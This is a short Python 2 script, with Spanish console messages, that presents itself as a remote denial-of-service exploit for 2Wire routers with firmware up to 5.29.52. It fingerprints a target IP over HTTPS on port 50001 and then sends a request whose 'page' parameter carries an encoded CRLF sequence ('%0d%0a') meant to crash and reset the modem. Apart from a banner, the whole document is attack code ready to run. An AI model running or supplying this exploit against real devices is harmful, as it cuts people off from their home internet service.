print "\n     #################################################"
print "    #         2WIRE REMOTE DoS (FW =< 5.29.52)       #"
print "   #                                               #"
print "  #                  hkm@hakim.ws                 #"
print " #################################################\n"

import socket, sys, urllib2 

socket.setdefaulttimeout(4)

try:
	ip = sys.argv[1]
except:
	print " [IP ERROR] -> python 2os.py 123.123.123.123\n"
	sys.exit()

if not len(ip.split(".")) == 4:
	print " [IP ERROR] -> python 2os.py 123.123.123.123\n"
	sys.exit()

print " [ ] Detectando el dispositivo"
try:
	server = str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=CD35_SETUP_01")).info())
	print " [+] Detectado "+server[int(server.find("Server:"))+8:int(server.find("\n",int(server.find("Server:"))))]
except:
	print " [-] No detectado\n"
	sys.exit()

print " [ ] Lanzando el ataque"
try:	str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=%0d%0a")).read())
except:	pass

try:
	server = str(urllib2.urlopen(urllib2.Request("https://"+str(ip)+":50001/xslt?page=CD35_SETUP_01")).info())
	print " [-] No vulnerable\n"
except:
	print " [+] MODEM RESETADO! EAEA!\n"
	sys.exit()